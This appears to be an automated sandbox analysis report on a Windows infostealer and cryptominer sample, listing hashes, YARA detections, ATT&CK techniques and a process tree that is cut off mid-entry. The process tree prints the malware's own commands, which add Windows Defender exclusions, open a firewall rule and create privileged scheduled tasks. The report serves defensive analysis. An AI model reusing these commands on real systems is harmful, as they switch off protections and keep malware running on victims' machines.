salatstealer | 3dc43f8ca7f666fcbf72a865186d632dc413c483e5968e54f410eddba37aac2a

Analysis

max time kernel
47s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/10/2026, 16:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe
Size 145KB
Sample261014-tjfcfaey2n
SHA256 3dc43f8ca7f666fcbf72a865186d632dc413c483e5968e54f410eddba37aac2a
MD5 9ab32831e64248c141e43f840429552d
SHA1 79a9113e531010c34daabecd222036f11d4c84b3
SHA512 b6d580986fe28a515879ab27f28bbb802f4f5498a0310f43172ca7de62b8edbb49fd14100a8c92e45888e0b3ef7423e0aca3a27e8e4075e80ffb61d5bbbf7214
SSDEEP 3072:vzp+KYjQ9pTL20Hng9Xd2qXXNCq7rsor0BJUzt7UrqYmZeOf9HyH59bI5LOFN+0G:vzp+09pT7ng9Xd2qXXNCq7rsor0BJUzV
TLSH
T144E39E117593C0B2D07209350864BBA58A7D7D203BA1ADBB77E81A2E1F703E4A673D77
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution salatstealer xmrig installer miner persistence stealer upx

Malware Config

Signatures

Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
stealer salatstealer
Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Detect SalatStealer payload 9 IoCs

resource	yara_rule
behavioral2/memory/5048-277-0x0000000000CC0000-0x0000000001915000-memory.dmp	family_salatstealer
behavioral2/memory/5048-527-0x0000000000CC0000-0x0000000001915000-memory.dmp	family_salatstealer
behavioral2/memory/5048-531-0x0000000000CC0000-0x0000000001915000-memory.dmp	family_salatstealer
behavioral2/memory/5048-535-0x0000000000CC0000-0x0000000001915000-memory.dmp	family_salatstealer
behavioral2/memory/5048-539-0x0000000000CC0000-0x0000000001915000-memory.dmp	family_salatstealer
behavioral2/memory/5048-543-0x0000000000CC0000-0x0000000001915000-memory.dmp	family_salatstealer
behavioral2/memory/5048-547-0x0000000000CC0000-0x0000000001915000-memory.dmp	family_salatstealer
behavioral2/memory/5048-556-0x0000000000CC0000-0x0000000001915000-memory.dmp	family_salatstealer
behavioral2/memory/5048-560-0x0000000000CC0000-0x0000000001915000-memory.dmp	family_salatstealer

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x000f00000001c527-497.dat	family_xmrig
behavioral2/files/0x000f00000001c527-497.dat	xmrig

Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 11 IoCs

resource	yara_rule
behavioral2/files/0x000e00000001c50e-167.dat	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/3340-173-0x0000023337B40000-0x0000023337B8E000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/5048-277-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/5048-527-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/5048-531-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/5048-535-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/5048-539-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/5048-543-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/5048-547-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/5048-556-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/5048-560-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 11 IoCs

resource	yara_rule
behavioral2/files/0x000e00000001c50e-167.dat	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/3340-173-0x0000023337B40000-0x0000023337B8E000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/5048-277-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/5048-527-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/5048-531-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/5048-535-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/5048-539-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/5048-543-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/5048-547-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/5048-556-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/5048-560-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables (downlaoders) containing URLs to raw contents of a paste 2 IoCs

resource	yara_rule
behavioral2/files/0x000f00000001c502-112.dat	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL
behavioral2/memory/5044-117-0x000001D362EE0000-0x000001D362F8A000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 9 IoCs

resource	yara_rule
behavioral2/memory/5048-277-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/5048-527-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/5048-531-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/5048-535-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/5048-539-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/5048-543-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/5048-547-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/5048-556-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/5048-560-0x0000000000CC0000-0x0000000001915000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

Detects executables referencing many confidential data stores found in browsers, mail clients, crypt 2 IoCs

resource	yara_rule
behavioral2/files/0x000e00000001c50e-167.dat	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
behavioral2/memory/3340-173-0x0000023337B40000-0x0000023337B8E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Detects executables referencing many email and collaboration clients. Observed in information steale 2 IoCs

resource	yara_rule
behavioral2/files/0x000e00000001c50e-167.dat	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
behavioral2/memory/3340-173-0x0000023337B40000-0x0000023337B8E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

Detects executables referencing many file transfer clients. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral2/files/0x000e00000001c50e-167.dat	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients
behavioral2/memory/3340-173-0x0000023337B40000-0x0000023337B8E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients

Detects executables using Telegram Chat Bot 2 IoCs

resource	yara_rule
behavioral2/files/0x000e00000001c50e-167.dat	INDICATOR_SUSPICIOUS_EXE_TelegramChatBot
behavioral2/memory/3340-173-0x0000023337B40000-0x0000023337B8E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TelegramChatBot

UPX dump on OEP (original entry point) 11 IoCs

resource	yara_rule
behavioral2/files/0x000e00000001c500-104.dat	UPX
behavioral2/memory/5048-107-0x0000000000CC0000-0x0000000001915000-memory.dmp	UPX
behavioral2/memory/5048-277-0x0000000000CC0000-0x0000000001915000-memory.dmp	UPX
behavioral2/memory/5048-527-0x0000000000CC0000-0x0000000001915000-memory.dmp	UPX
behavioral2/memory/5048-531-0x0000000000CC0000-0x0000000001915000-memory.dmp	UPX
behavioral2/memory/5048-535-0x0000000000CC0000-0x0000000001915000-memory.dmp	UPX
behavioral2/memory/5048-539-0x0000000000CC0000-0x0000000001915000-memory.dmp	UPX
behavioral2/memory/5048-543-0x0000000000CC0000-0x0000000001915000-memory.dmp	UPX
behavioral2/memory/5048-547-0x0000000000CC0000-0x0000000001915000-memory.dmp	UPX
behavioral2/memory/5048-556-0x0000000000CC0000-0x0000000001915000-memory.dmp	UPX
behavioral2/memory/5048-560-0x0000000000CC0000-0x0000000001915000-memory.dmp	UPX

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4744	powershell.exe
3608	powershell.exe
3464	powershell.exe
2128	powershell.exe
1368	powershell.exe
4276	powershell.exe
4344	powershell.exe

Downloads MZ/PE file 15 IoCs

flow	pid	Process
6	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe
6	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe
6	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe
6	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe
6	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe
6	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe
6	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe
6	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe
6	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe
6	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe
6	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe
6	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe
6	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe
6	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe
6	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe

Cryptocurrency Miner
Makes network request to known mining pool URL.
miner

Executes dropped EXE 13 IoCs

pid	Process
4792	9Ys87iLxRrOKp.exe
5628	VsypMLOyR6Yu7.exe
2320	ouwRTRja1.exe
5788	eOtIaWqQS18.exe
1728	CZtl6A0tgTQ.exe
1424	CZtl6A0tgTQ.tmp
4688	uGY28OP0nMap.exe
2520	u8DpNJoXaZLz.exe
616	FQuCUcwrUeUSP.exe
6100	H69Ftk7hOO149.exe
2768	FQuCUcwrUeUSP.exe
3656	8hnhsuwfFGd.exe
5048	XRfD6M7FCmhxo.exe

Loads dropped DLL 1 IoCs

pid	Process
1424	CZtl6A0tgTQ.tmp

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 TTPs 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
11	api.ipify.org
13	icanhazip.com
13	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 616 set thread context of 2768	616	FQuCUcwrUeUSP.exe	320

UPX packed file 11 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000e00000001c500-104.dat	upx
behavioral2/memory/5048-107-0x0000000000CC0000-0x0000000001915000-memory.dmp	upx
behavioral2/memory/5048-277-0x0000000000CC0000-0x0000000001915000-memory.dmp	upx
behavioral2/memory/5048-527-0x0000000000CC0000-0x0000000001915000-memory.dmp	upx
behavioral2/memory/5048-531-0x0000000000CC0000-0x0000000001915000-memory.dmp	upx
behavioral2/memory/5048-535-0x0000000000CC0000-0x0000000001915000-memory.dmp	upx
behavioral2/memory/5048-539-0x0000000000CC0000-0x0000000001915000-memory.dmp	upx
behavioral2/memory/5048-543-0x0000000000CC0000-0x0000000001915000-memory.dmp	upx
behavioral2/memory/5048-547-0x0000000000CC0000-0x0000000001915000-memory.dmp	upx
behavioral2/memory/5048-556-0x0000000000CC0000-0x0000000001915000-memory.dmp	upx
behavioral2/memory/5048-560-0x0000000000CC0000-0x0000000001915000-memory.dmp	upx

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4148	sc.exe
2760	sc.exe
5084	sc.exe
2432	sc.exe
2356	sc.exe
5480	sc.exe
1172	sc.exe
3612	sc.exe
4608	sc.exe
2508	sc.exe
5348	sc.exe
5204	sc.exe
2352	sc.exe
5784	sc.exe
4896	sc.exe
2492	sc.exe
3520	sc.exe
3500	sc.exe
1388	sc.exe
1572	sc.exe
4352	sc.exe
5828	sc.exe
2052	sc.exe
5980	sc.exe
4912	sc.exe
5676	sc.exe
1776	sc.exe
1076	sc.exe
2424	sc.exe
3392	sc.exe
4936	sc.exe
3268	sc.exe
1196	sc.exe
5392	sc.exe
4404	sc.exe
5792	sc.exe
2376	sc.exe
1972	sc.exe
5844	sc.exe
1668	sc.exe
2944	sc.exe
5984	sc.exe
2768	sc.exe
3076	sc.exe
108	sc.exe
4804	sc.exe
4240	sc.exe
2632	sc.exe
4388	sc.exe
5992	sc.exe
984	sc.exe
4768	sc.exe
2180	sc.exe
2692	sc.exe
1180	sc.exe
3412	sc.exe
3404	sc.exe
2092	sc.exe
3596	sc.exe
2900	sc.exe
3084	sc.exe
3372	sc.exe
884	sc.exe
2036	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4828	cmd.exe
1416	cmd.exe
1852	cmd.exe
4856	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ouwRTRja1.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	CZtl6A0tgTQ.tmp
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	XRfD6M7FCmhxo.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ouwRTRja1.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	CZtl6A0tgTQ.tmp
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	XRfD6M7FCmhxo.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CZtl6A0tgTQ.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XRfD6M7FCmhxo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CZtl6A0tgTQ.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1180	netsh.exe
4252	netsh.exe

Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/files/0x000e00000001c4ed-39.dat	innosetup
behavioral2/memory/1728-40-0x0000000000170000-0x000000000024B000-memory.dmp	innosetup
behavioral2/memory/1728-70-0x0000000000170000-0x000000000024B000-memory.dmp	innosetup

Gathers network information 2 TTPs 7 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2980	ipconfig.exe
5440	ipconfig.exe
4596	ipconfig.exe
3384	ipconfig.exe
5876	ipconfig.exe
4152	ipconfig.exe
2328	ipconfig.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 9 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4936	schtasks.exe
1092	schtasks.exe
5572	schtasks.exe
4744	schtasks.exe
2108	schtasks.exe
1560	schtasks.exe
2364	schtasks.exe
5516	schtasks.exe
1944	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeIncreaseQuotaPrivilege	4744	powershell.exe
Token: SeSecurityPrivilege	4744	powershell.exe
Token: SeTakeOwnershipPrivilege	4744	powershell.exe
Token: SeLoadDriverPrivilege	4744	powershell.exe
Token: SeSystemProfilePrivilege	4744	powershell.exe
Token: SeSystemtimePrivilege	4744	powershell.exe
Token: SeProfSingleProcessPrivilege	4744	powershell.exe
Token: SeIncBasePriorityPrivilege	4744	powershell.exe
Token: SeCreatePagefilePrivilege	4744	powershell.exe
Token: SeBackupPrivilege	4744	powershell.exe
Token: SeRestorePrivilege	4744	powershell.exe
Token: SeShutdownPrivilege	4744	powershell.exe
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeSystemEnvironmentPrivilege	4744	powershell.exe
Token: SeRemoteShutdownPrivilege	4744	powershell.exe
Token: SeUndockPrivilege	4744	powershell.exe
Token: SeManageVolumePrivilege	4744	powershell.exe
Token: 33	4744	powershell.exe
Token: 34	4744	powershell.exe
Token: 35	4744	powershell.exe
Token: 36	4744	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 704 wrote to memory of 4792	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe	90
PID 704 wrote to memory of 5628	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe	92
PID 704 wrote to memory of 2320	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe	94
PID 704 wrote to memory of 5788	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe	96
PID 704 wrote to memory of 1728	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe	100
PID 1728 wrote to memory of 1424	1728	CZtl6A0tgTQ.exe	102
PID 704 wrote to memory of 4688	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe	103
PID 704 wrote to memory of 2520	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe	105
PID 704 wrote to memory of 616	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe	107
PID 616 wrote to memory of 2768	616	FQuCUcwrUeUSP.exe	320
PID 616 wrote to memory of 2768	616	FQuCUcwrUeUSP.exe	320
PID 616 wrote to memory of 2768	616	FQuCUcwrUeUSP.exe	320
PID 616 wrote to memory of 2768	616	FQuCUcwrUeUSP.exe	320
PID 616 wrote to memory of 2768	616	FQuCUcwrUeUSP.exe	320
PID 616 wrote to memory of 2768	616	FQuCUcwrUeUSP.exe	320
PID 616 wrote to memory of 2768	616	FQuCUcwrUeUSP.exe	320
PID 616 wrote to memory of 2768	616	FQuCUcwrUeUSP.exe	320
PID 616 wrote to memory of 2768	616	FQuCUcwrUeUSP.exe	320
PID 704 wrote to memory of 6100	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe	109
PID 704 wrote to memory of 3656	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe	110
PID 6100 wrote to memory of 4744	6100	H69Ftk7hOO149.exe	148
PID 704 wrote to memory of 5048	704	2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe	114

C:\Users\Admin\AppData\Local\Temp\2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-14_9ab32831e64248c141e43f840429552d_amadey_cobalt-strike_elex_lynx_smoke-loader.exe"
1⤵
- Downloads MZ/PE file
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:704
- C:\Users\Admin\AppData\Local\Temp\9Ys87iLxRrOKp.exe
  "C:\Users\Admin\AppData\Local\Temp\\9Ys87iLxRrOKp.exe"
  2⤵
  - Executes dropped EXE
  PID:4792
- C:\Users\Admin\AppData\Local\Temp\VsypMLOyR6Yu7.exe
  "C:\Users\Admin\AppData\Local\Temp\\VsypMLOyR6Yu7.exe"
  2⤵
  - Executes dropped EXE
  PID:5628
- C:\Users\Admin\AppData\Local\Temp\ouwRTRja1.exe
  "C:\Users\Admin\AppData\Local\Temp\\ouwRTRja1.exe"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  PID:2320
- C:\Users\Admin\AppData\Local\Temp\eOtIaWqQS18.exe
  "C:\Users\Admin\AppData\Local\Temp\\eOtIaWqQS18.exe"
  2⤵
  - Executes dropped EXE
  PID:5788
- C:\Users\Admin\AppData\Local\Temp\CZtl6A0tgTQ.exe
  "C:\Users\Admin\AppData\Local\Temp\\CZtl6A0tgTQ.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1728
- - C:\Users\Admin\AppData\Local\Temp\is-DIF5Q4G31O.tmp\CZtl6A0tgTQ.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-DIF5Q4G31O.tmp\CZtl6A0tgTQ.tmp" /SL5="$700A6,3870460,836608,C:\Users\Admin\AppData\Local\Temp\CZtl6A0tgTQ.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    PID:1424
- C:\Users\Admin\AppData\Local\Temp\uGY28OP0nMap.exe
  "C:\Users\Admin\AppData\Local\Temp\\uGY28OP0nMap.exe"
  2⤵
  - Executes dropped EXE
  PID:4688
- C:\Users\Admin\AppData\Local\Temp\u8DpNJoXaZLz.exe
  "C:\Users\Admin\AppData\Local\Temp\\u8DpNJoXaZLz.exe"
  2⤵
  - Executes dropped EXE
  PID:2520
- C:\Users\Admin\AppData\Local\Temp\FQuCUcwrUeUSP.exe
  "C:\Users\Admin\AppData\Local\Temp\\FQuCUcwrUeUSP.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:616
- - C:\Users\Admin\AppData\Local\Temp\FQuCUcwrUeUSP.exe
    "C:\Users\Admin\AppData\Local\Temp\FQuCUcwrUeUSP.exe"
    3⤵
    - Executes dropped EXE
    PID:2768
- C:\Users\Admin\AppData\Local\Temp\H69Ftk7hOO149.exe
  "C:\Users\Admin\AppData\Local\Temp\\H69Ftk7hOO149.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:6100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\stub.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4744
- - C:\Users\Admin\AppData\Local\Temp\stub.exe
    "C:\Users\Admin\AppData\Local\Temp\stub.exe"
    3⤵
    PID:5044
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" netsh advfirewall firewall add rule name="MPg&xkEuxg}fx#" dir=in action=allow program="C:\Windows\extasa\username" enable=yes & exit
      4⤵
      PID:4600
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "LNo2S49N4TzmS3PkWVwtzgMSsvcPrUYrgT{907F5319-CA14-4532-A5F6-6B6D3FEA30A8}" /tr "C:\Windows\extasa\username" /RL HIGHEST & exit
      4⤵
      Executes a command shell one-liner
      PID:1416
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "LNo2S49N4TzmS3PkWVwtzgMSsvcPrUYrgT{907F5319-CA14-4532-A5F6-6B6D3FEA30A8}" /tr "C:\Windows\extasa\username" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4744
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "LNo2S49N4TzmS3PkWVwtzgMSsvcPrUYrgT{C94BEF19-8A49-45A5-8000-CFA9BA5AA378}" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\ertor\browsecData" /RL HIGHEST & exit
      4⤵
      Executes a command shell one-liner
      PID:1852
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "LNo2S49N4TzmS3PkWVwtzgMSsvcPrUYrgT{C94BEF19-8A49-45A5-8000-CFA9BA5AA378}" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\ertor\browsecData" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3608
- - C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
    "C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"
    3⤵
    PID:5736
  - - C:\Windows\SYSTEM32\schtasks.exe
